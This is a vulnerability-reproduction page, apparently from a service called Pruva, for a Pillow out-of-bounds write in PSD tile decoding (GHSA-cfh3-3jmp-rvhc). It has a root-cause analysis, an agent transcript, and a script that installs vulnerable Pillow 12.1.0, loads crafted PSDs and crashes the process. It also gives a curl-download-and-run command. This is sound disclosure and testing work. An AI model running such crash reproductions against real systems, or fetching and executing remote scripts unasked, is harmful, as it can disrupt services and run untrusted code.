Skip to content

GHSA-CFH3-3JMP-RVHC: Verified Repro With Script Download

GHSA-CFH3-3JMP-RVHC: Pillow 10.3.0–12.1.0 allows an out-of-bounds write when loading specially crafted PSD images, potentially leading to memory corruption.

GHSA-CFH3-3JMP-RVHC is verified against the affected target. Vulnerability class: OOB Write. This security reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00085.

REPRO-2026-00085 OOB Write Feb 13, 2026 .txt
Reproduced in
3m 16s
Tool calls
31
01 · Overview

What Is GHSA-CFH3-3JMP-RVHC?

GHSA-cfh3-3jmp-rvhc describes an out-of-bounds write in Pillow, the Python imaging library, in versions 10.3.0 through 12.1.0, triggered when loading a specially crafted PSD image, potentially leading to memory corruption. Pruva reproduced it (reproduction REPRO-2026-00085).

How to Reproduce GHSA-CFH3-3JMP-RVHC

$ pruva-verify REPRO-2026-00085
or curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00085/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for GHSA-CFH3-3JMP-RVHC

Reproduced by Pruva's autonomous agents — 31 tool calls over 3 min. Full root-cause analysis and the complete transcript are below.

How the agent worked 56 events · 31 tool calls · 3 min
3 minDuration
31Tool calls
21Reasoning steps
56Events
1Dead-ends
Agent activity over 3 min
Support
8
Repro
20
Variant
25
0:0003:16

Root Cause and Exploit Chain for GHSA-CFH3-3JMP-RVHC

Summary

Pillow PSD parsing in versions 10.3.0–12.1.0 allows crafted PSD tiles with invalid extents to trigger an out-of-bounds write. The crafted PSDs in the Pillow fix commit cause memory corruption during image loading and can abort the process.

Impact

  • Package/component affected: python-pillow/Pillow PSD decoder (tile handling in core decoder)
  • Affected versions: >=10.3.0 and <12.1.1
  • Risk level and consequences: High; memory corruption leading to crashes and potential exploitation.

Root Cause

Tile extents were not validated for negative offsets when decoding/encoding. PSD files can craft tile data where x/y offsets are negative, resulting in tile ranges extending outside the image bounds and causing an out-of-bounds write. The fix commit adds checks for negative x/y offsets in src/decode.c and src/encode.c. Fix commit: https://github.com/python-pillow/Pillow/commit/54ba4db542ad3c7b918812a4e2d69c27735a3199

Reproduction Steps

  1. Run repro/reproduction_steps.sh.
  2. The script creates a venv, installs Pillow 12.1.0, fetches the fix commit to obtain crafted PSDs (psd-oob-write*.psd), and opens them with Pillow.
  3. Expected evidence: process abort (double free or corruption) when loading crafted PSDs.

Evidence

  • Script output (from repro/reproduction_steps.sh) showed: double free or corruption (out) and exit code 134 when opening crafted PSDs.
  • Environment details: Python venv with Pillow 12.1.0, PSD samples from Pillow commit 54ba4db5.

Recommendations / Next Steps

  • Upgrade to Pillow 12.1.1 or later.
  • Backport the negative tile extent checks to affected releases.
  • Add regression tests for PSD tile bounds (included in fix commit).

Additional Notes

  • The reproduction script is idempotent (cleans /tmp/pillow_psd_oob each run).
  • Evidence is collected via process abort output; ASAN could provide deeper diagnostics but is not required for repro.

GHSA-CFH3-3JMP-RVHC Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:002:16
0:00
session startedgpt-4o · GHSA-cfh3-3jmp-rvhc · 19d27887
0:01
0:04
web search
0:11
0:11
extract_facts
no facts extracted
0:11
error

Unknown error

0:16
0:16
extract_facts
no facts extracted
0:17
0:17
supportrepro
0:33
0:36
web search
0:37
0:37
0:39
0:43
0:51
$git clone https://github.com/python-pillow/Pillow.git /tmp/Pillow
7.5s
Cloning into '/tmp/Pillow'...
0:52
0:56
0:56
$git -C /tmp/Pillow show 54ba4db542ad3c7b918812a4e2d69c27735a3199
{"cwd":"/data/pruva/runs/19d27887-3653-4a01-ad54-44532ad3744c","duration_ms":3,"exit_code":0,"stderr":"","stdout":"commit 54ba4db542ad3c7b918812a4e2d69c27735a3199\nAuthor: Andrew Murray <3112309+radarhere@users.noreply.github.com>\nDate:   Wed Feb 11 10:24:50 2026 +1100\n\n    Fix OOB Write with invalid tile extents (#9427)\n    \n    Co-authored-by: Eric Soroos <eric-github@soroos.net>\n\ndiff --git a/Tests/images/psd-oob-write-x.psd b/Tests/images/psd-oob-write-x.psd\nnew file mode 100644\nindex 000000000..86359f4cb\nBinary files /dev/null and b/Tests/images/psd-oob-write-x.psd differ\ndiff --git a/Tests/images/psd-oob-write-y.psd b/Tests/images/psd-oob-write-y.psd\nnew file mode 100644\nindex 000000000..73498266a\nBinary files /dev/null and b/Tests/images/psd-oob-write-y.psd differ\ndiff --git a/Tests/images/psd-oob-write.psd b/Tests/images/psd-oob-write.psd\nnew file mode 100644\nindex 000000000..65a4472cf\nBinary files /dev/null and b/Tests/images/psd-oob-write.psd differ\ndiff --git a/Tests/test_file_psd.py b/Tests/test_file_psd.py\nindex 8f2ca58a6..8a2636dfe 100644\n--- a/Tests/test_file_psd.py\n+++ b/Tests/test_file_psd.py\n@@ -182,3 +182,20 @@ def test_layer_crashes(test_f… [truncated]
1:16
1:16
1:16
#!/bin/bash
set -euo pipefail

WORKDIR="/tmp/pillow_psd_oob"
rm -rf "$WORKDIR"
mkdir -p "$WORKDIR"

python -m venv "$WORKDIR/venv"
source "$WORKDIR/venv/bin/activate"

pip install --upgrade pip >/dev/null
pip install pillow==12.1.0 >/dev/null

# Get crafted PSDs introduced in the fix commit
if [ ! -d "$WORKDIR/Pillow" ]; then
  git clone https://github.com/python-pillow/Pillow.git "$WORKDIR/Pillow" >/dev/null
fi

# Fetch the commit that added the crafted PSDs
cd "$WORKDIR/Pillow"
1:34
$bash repro/reproduction_steps.sh
13.4s
{"cwd":"/data/pruva/runs/19d27887-3653-4a01-ad54-44532ad3744c","duration_ms":13419,"exit_code":134,"stderr":"Cloning into '/tmp/pillow_psd_oob/Pillow'...\nFrom https://github.com/python-pillow/Pillow\n * branch                54ba4db542ad3c7b918812a4e2d69c27735a3199 -> FETCH_HEAD\ndouble free or corruption (out)\nrepro/reproduction_steps.sh: line 45:  3645 Aborted                 (core dumped) python - <<'PY'\nfrom PIL import Image\nimport glob\nimport os\n\npsd_files = sorted(glob.glob(os.path.join(\"/tmp/pillow_psd_oob/Pillow/Tests/images\", \"psd-oob-write*.psd\")))\nprint(\"Using Pillow version:\", Image.__version__)\nfor path in psd_files:\n    print(\"\\nOpening\", path)\n    with Image.open(path) as im:\n        print(\"Format:\", im.format, \"frames:\", im.n_frames, \"size:\", im.size)\n        im.seek(im.n_frames)\n        try:\n            im.load()\n            print(\"Loaded without exception (potentially unsafe)\")\n        except Exception as exc:\n            print(\"Exception:\", type(exc).__name__, exc)\nPY\n\n","stdout":"-rw-r--r-- 1 vscode vscode  1126 Feb 12 15:25 /tmp/pillow_psd_oob/Pillow/Tests/images/psd-oob-write-x.psd\n-rw-r--r-- 1 vscode vscode  1126 Feb 1… [truncated]
1:37
1:45
## Summary
Pillow PSD parsing in versions 10.3.0–12.1.0 allows crafted PSD tiles with invalid extents to trigger an out-of-bounds write. The crafted PSDs in the Pillow fix commit cause memory corruption during image loading and can abort the process.

## Impact
- Package/component affected: python-pillow/Pillow PSD decoder (tile handling in core decoder)
- Affected versions: >=10.3.0 and <12.1.1
- Risk level and consequences: High; memory corruption leading to crashes and potential exploitation.

## Root Cause
Tile extents were not validated for negative offsets when decoding/encoding. PSD files can craft tile data where x/y offsets are negative, resulting in tile ranges extending outside the image bounds and causing an out-of-bounds write. The fix commit adds checks for negative x/y offsets in src/decode.c and src/encode.c. Fix commit: https://github.com/python-pillow/Pillow/commit/54ba4db542ad3c7b918812a4e2d69c27735a3199

## Reproduction Steps
1. Run `repro/reproduction_steps.sh`.
2. The script creates a venv, installs Pillow 12.1.0, fetches the fix commit to obtain crafted PSDs (psd-oob-write*.psd), and opens them with Pillow.
3. Expected evidence: process abort (double free or … [truncated]
1:49
1:49
1:51
1:52
1:55
2:06
$/bin/bash /data/pruva/runs/19d27887-3653-4a01-ad54-44532ad3744c/repro/reproduction_steps.sh
11.3s
{"cwd":"/data/pruva/runs/19d27887-3653-4a01-ad54-44532ad3744c","duration_ms":11252,"exit_code":134,"stderr":"Cloning into '/tmp/pillow_psd_oob/Pillow'...\nFrom https://github.com/python-pillow/Pillow\n * branch                54ba4db542ad3c7b918812a4e2d69c27735a3199 -> FETCH_HEAD\ndouble free or corruption (out)\n/data/pruva/runs/19d27887-3653-4a01-ad54-44532ad3744c/repro/reproduction_steps.sh: line 45:  3742 Aborted                 (core dumped) python - <<'PY'\nfrom PIL import Image\nimport glob\nimport os\n\npsd_files = sorted(glob.glob(os.path.join(\"/tmp/pillow_psd_oob/Pillow/Tests/images\", \"psd-oob-write*.psd\")))\nprint(\"Using Pillow version:\", Image.__version__)\nfor path in psd_files:\n    print(\"\\nOpening\", path)\n    with Image.open(path) as im:\n        print(\"Format:\", im.format, \"frames:\", im.n_frames, \"size:\", im.size)\n        im.seek(im.n_frames)\n        try:\n            im.load()\n            print(\"Loaded without exception (potentially unsafe)\")\n        except Exception as exc:\n            print(\"Exception:\", type(exc).__name__, exc)\nPY\n\n","stdout":"-rw-r--r-- 1 vscode vscode  1126 Feb 12 15:26 /tmp/pillow_psd_oob/Pillow/Tests/images/psd-o… [truncated]
2:10
2:12
2:12
2:16

Artifacts and Evidence for GHSA-CFH3-3JMP-RVHC

Scripts, logs, diffs, and output captured during the reproduction.

No artifacts available

08 · How to Fix

How to Fix GHSA-CFH3-3JMP-RVHC

Coming soon

Step-by-step mitigation and hardening guidance for GHSA-CFH3-3JMP-RVHC — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: GHSA-CFH3-3JMP-RVHC

How does the crafted PSD trigger memory corruption?

An attacker supplies a PSD file with tile data containing negative x/y offsets. When Pillow decodes the tiles it writes pixel data using these unvalidated offsets, extending past the allocated image buffer and corrupting heap memory; in the reproduction this manifested as a process abort (\"double free or corruption\", exit code 134) when opening the crafted PSDs.

Which versions of Pillow are affected, and where is it fixed?

Pillow >= 10.3.0 and < 12.1.1 is affected. Upgrade to 12.1.1 or later, which includes the negative tile extent checks.

How severe is GHSA-cfh3-3jmp-rvhc?

Rated high risk — memory corruption during image loading that can crash the process and potentially be leveraged for further exploitation.

How can I reproduce GHSA-cfh3-3jmp-rvhc?

Download the verified script from this page and run it in an isolated environment. It creates a venv, installs Pillow 12.1.0, fetches the crafted PSD samples from the Pillow fix commit, and opens them with Pillow; expect a process abort (\"double free or corruption\", exit code 134) confirming the out-of-bounds write.
11 · References

References for GHSA-CFH3-3JMP-RVHC

Authoritative sources for GHSA-CFH3-3JMP-RVHC — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.